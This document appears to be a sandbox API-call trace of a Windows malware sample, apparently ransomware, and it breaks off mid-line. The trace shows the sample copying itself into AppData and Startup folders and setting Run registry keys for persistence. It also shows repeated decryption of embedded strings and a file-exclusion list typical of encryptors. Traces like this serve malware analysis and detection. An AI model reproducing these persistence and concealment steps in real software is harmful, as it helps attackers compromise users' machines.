1 [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb85f58 [0037.207] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb85f58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0037.207] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85f58 | out: hHeap=0xb80000) returned 1 [0037.207] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=0) returned 1 [0037.213] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x2cf9ec | out: phkResult=0x2cf9ec*=0xbc) returned 0x0 [0037.214] RegSetValueExW (in: hKey=0xbc, lpValueName="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", cbData=0xe0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe") returned 0x0 [0037.214] RegCloseKey (hKey=0xbc) returned 0x0 [0037.214] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x2cf9d8 | out: phkResult=0x2cf9d8*=0xbc) returned 0x0 [0037.214] RegSetValueExW (in: hKey=0xbc, lpValueName="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", cbData=0xe0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe") returned 0x0 [0037.214] RegCloseKey (hKey=0xbc) returned 0x0 [0037.214] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x134) returned 0xb815b0 [0037.214] GetLastError () returned 0x0 [0037.214] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=1) returned 0 [0037.215] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=1) returned 1 [0037.219] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb815b0 | out: hHeap=0xb80000) returned 1 [0037.219] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb856f8 | out: hHeap=0xb80000) returned 1 [0037.219] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85910 | out: hHeap=0xb80000) returned 1 [0037.219] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85b28 | out: hHeap=0xb80000) returned 1 [0037.219] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85d40 | out: hHeap=0xb80000) returned 1 [0037.220] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0037.220] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81530 | out: hHeap=0xb80000) returned 1 [0037.220] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.220] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xc0) returned 0xb814a0 [0037.220] CryptImportKey (in: hProv=0x585138, pbData=0x2cf97c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9e4 | out: phKey=0x2cf9e4*=0x588c40) returned 1 [0037.220] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf9cc, dwFlags=0x0) returned 1 [0037.220] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf998 | out: pbData=0xb814a0, pdwDataLen=0x2cf998) returned 1 [0037.220] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.220] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xbd) returned 0xb81568 [0037.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a30e4, lpParameter=0xb81568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0037.220] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0x0) returned 0x102 [0037.220] CloseHandle (hObject=0xb8) returned 1 [0037.221] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0037.221] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x60) returned 0xb814a0 [0037.221] CryptImportKey (in: hProv=0x585138, pbData=0x2cf988, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9f0 | out: phKey=0x2cf9f0*=0x588c40) returned 1 [0037.221] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf9d8, dwFlags=0x0) returned 1 [0037.221] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf9a4 | out: pbData=0xb814a0, pdwDataLen=0x2cf9a4) returned 1 [0037.221] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.221] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x5c) returned 0xb81630 [0037.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a30e4, lpParameter=0xb81630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0037.221] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0x1388) returned 0x102 [0046.643] CloseHandle (hObject=0xb8) returned 1 [0046.643] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0046.643] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0046.643] CryptImportKey (in: hProv=0x585138, pbData=0x2cf950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9b8 | out: phKey=0x2cf9b8*=0x58b138) returned 1 [0046.643] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf9a0, dwFlags=0x0) returned 1 [0046.643] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf96c | out: pbData=0xb814a0, pdwDataLen=0x2cf96c) returned 1 [0046.643] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.643] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85508 [0046.644] CryptImportKey (in: hProv=0x585138, pbData=0x2cf928, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf990 | out: phKey=0x2cf990*=0x58b138) returned 1 [0046.644] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf978, dwFlags=0x0) returned 1 [0046.644] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85508, pdwDataLen=0x2cf944 | out: pbData=0xb85508, pdwDataLen=0x2cf944) returned 1 [0046.644] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.644] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0046.644] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.644] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0046.644] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0046.644] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cf9f8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cf9f8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.644] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb814a0 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb81748 [0046.644] CryptImportKey (in: hProv=0x585138, pbData=0x2cf934, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf99c | out: phKey=0x2cf99c*=0x58b138) returned 1 [0046.644] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf984, dwFlags=0x0) returned 1 [0046.644] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81748, pdwDataLen=0x2cf950 | out: pbData=0xb81748, pdwDataLen=0x2cf950) returned 1 [0046.644] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x60) returned 0xb814d0 [0046.644] CryptImportKey (in: hProv=0x585138, pbData=0x2cf92c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf994 | out: phKey=0x2cf994*=0x58b138) returned 1 [0046.644] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf97c, dwFlags=0x0) returned 1 [0046.644] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814d0, pdwDataLen=0x2cf948 | out: pbData=0xb814d0, pdwDataLen=0x2cf948) returned 1 [0046.644] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x52) returned 0xb85508 [0046.644] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb85508, Size=0xa2) returned 0xb85508 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb81538 [0046.644] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xb40) returned 0xb855b8 [0046.644] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf964 | out: phKey=0x2cf964*=0x58b138) returned 1 [0046.645] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf94c, dwFlags=0x0) returned 1 [0046.645] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb855b8, pdwDataLen=0x2cf918 | out: pbData=0xb855b8, pdwDataLen=0x2cf918) returned 1 [0046.645] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x240) returned 0xb86100 [0046.645] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf95c | out: phKey=0x2cf95c*=0x58b138) returned 1 [0046.645] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf944, dwFlags=0x0) returned 1 [0046.645] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86100, pdwDataLen=0x2cf910 | out: pbData=0xb86100, pdwDataLen=0x2cf910) returned 1 [0046.645] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb86348 [0046.645] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf934 | out: phKey=0x2cf934*=0x58b138) returned 1 [0046.645] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf91c, dwFlags=0x0) returned 1 [0046.645] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86348, pdwDataLen=0x2cf8e8 | out: pbData=0xb86348, pdwDataLen=0x2cf8e8) returned 1 [0046.645] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x84) returned 0xb863e0 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x84) returned 0xb86470 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb86500 [0046.645] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf90c | out: phKey=0x2cf90c*=0x58b138) returned 1 [0046.645] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf8f4, dwFlags=0x0) returned 1 [0046.645] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86500, pdwDataLen=0x2cf8c0 | out: pbData=0xb86500, pdwDataLen=0x2cf8c0) returned 1 [0046.645] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.645] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86500 | out: hHeap=0xb80000) returned 1 [0046.645] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xb863e0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0046.645] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86470 | out: hHeap=0xb80000) returned 1 [0046.645] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86348 | out: hHeap=0xb80000) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86348 [0046.645] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf930 | out: phKey=0x2cf930*=0x58b138) returned 1 [0046.645] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf918, dwFlags=0x0) returned 1 [0046.645] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86348, pdwDataLen=0x2cf8e4 | out: pbData=0xb86348, pdwDataLen=0x2cf8e4) returned 1 [0046.645] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x18) returned 0xb86370 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x18) returned 0xb86390 [0046.645] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb86470 [0046.645] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf908 | out: phKey=0x2cf908*=0x58b138) returned 1 [0046.645] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf8f0, dwFlags=0x0) returned 1 [0046.645] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86470, pdwDataLen=0x2cf8bc | out: pbData=0xb86470, pdwDataLen=0x2cf8bc) returned 1 [0046.645] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.646] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86470 | out: hHeap=0xb80000) returned 1 [0046.646] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xb86370, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0046.646] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86390 | out: hHeap=0xb80000) returned 1 [0046.646] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86348 | out: hHeap=0xb80000) returned 1 [0046.646] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb86470 [0046.646] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb86688 [0046.646] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb86688, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0046.646] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86688 | out: hHeap=0xb80000) returned 1 [0046.646] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xb38) returned 0xb86688 [0046.646] GetLastError () returned 0x0 [0046.646] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb86688, Size=0xd74) returned 0xb86688 [0046.646] GetLastError () returned 0x0 [0046.646] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x86) returned 0xb87408 [0046.646] GetLastError () returned 0x0 [0046.646] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb87408, Size=0x110) returned 0xb87408 [0046.646] GetLastError () returned 0x0 [0046.646] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1a) returned 0xb86348 [0046.646] GetLastError () returned 0x0 [0046.647] CryptImportKey (in: hProv=0x585138, pbData=0x2cf950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9b8 | out: phKey=0x2cf9b8*=0x58b138) returned 1 [0046.647] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf9a0, dwFlags=0x0) returned 1 [0046.647] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814d0, pdwDataLen=0x2cf96c | out: pbData=0xb814d0, pdwDataLen=0x2cf96c) returned 1 [0046.647] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814f8 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86370 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb86398 [0046.647] CryptImportKey (in: hProv=0x585138, pbData=0x2cf928, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf990 | out: phKey=0x2cf990*=0x58b138) returned 1 [0046.647] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf978, dwFlags=0x0) returned 1 [0046.647] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86398, pdwDataLen=0x2cf944 | out: pbData=0xb86398, pdwDataLen=0x2cf944) returned 1 [0046.647] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.647] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86398 | out: hHeap=0xb80000) returned 1 [0046.647] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.647] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86370 | out: hHeap=0xb80000) returned 1 [0046.647] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814d0 | out: hHeap=0xb80000) returned 1 [0046.647] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cf9f8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cf9f8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.647] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f8 | out: hHeap=0xb80000) returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb814d0 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb81550 [0046.647] CryptImportKey (in: hProv=0x585138, pbData=0x2cf934, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf99c | out: phKey=0x2cf99c*=0x58b138) returned 1 [0046.647] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf984, dwFlags=0x0) returned 1 [0046.647] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81550, pdwDataLen=0x2cf950 | out: pbData=0xb81550, pdwDataLen=0x2cf950) returned 1 [0046.647] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x60) returned 0xb86370 [0046.647] CryptImportKey (in: hProv=0x585138, pbData=0x2cf92c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf994 | out: phKey=0x2cf994*=0x58b138) returned 1 [0046.647] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf97c, dwFlags=0x0) returned 1 [0046.647] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86370, pdwDataLen=0x2cf948 | out: pbData=0xb86370, pdwDataLen=0x2cf948) returned 1 [0046.647] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x52) returned 0xb863d8 [0046.647] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb863d8, Size=0xa2) returned 0xb863d8 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb81748 [0046.647] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xb40) returned 0xb855b8 [0046.647] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf964 | out: phKey=0x2cf964*=0x58b138) returned 1 [0046.648] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf94c, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb855b8, pdwDataLen=0x2cf918 | out: pbData=0xb855b8, pdwDataLen=0x2cf918) returned 1 [0046.648] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x240) returned 0xb86100 [0046.648] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf95c | out: phKey=0x2cf95c*=0x58b138) returned 1 [0046.648] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf944, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86100, pdwDataLen=0x2cf910 | out: pbData=0xb86100, pdwDataLen=0x2cf910) returned 1 [0046.648] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb86488 [0046.648] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf934 | out: phKey=0x2cf934*=0x58b138) returned 1 [0046.648] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf91c, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86488, pdwDataLen=0x2cf8e8 | out: pbData=0xb86488, pdwDataLen=0x2cf8e8) returned 1 [0046.648] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x84) returned 0xb86520 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x84) returned 0xb865b0 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb87520 [0046.648] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf90c | out: phKey=0x2cf90c*=0x58b138) returned 1 [0046.648] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf8f4, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb87520, pdwDataLen=0x2cf8c0 | out: pbData=0xb87520, pdwDataLen=0x2cf8c0) returned 1 [0046.648] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.648] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87520 | out: hHeap=0xb80000) returned 1 [0046.648] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xb86520, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0046.648] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865b0 | out: hHeap=0xb80000) returned 1 [0046.648] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86488 | out: hHeap=0xb80000) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81500 [0046.648] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf930 | out: phKey=0x2cf930*=0x58b138) returned 1 [0046.648] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf918, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81500, pdwDataLen=0x2cf8e4 | out: pbData=0xb81500, pdwDataLen=0x2cf8e4) returned 1 [0046.648] 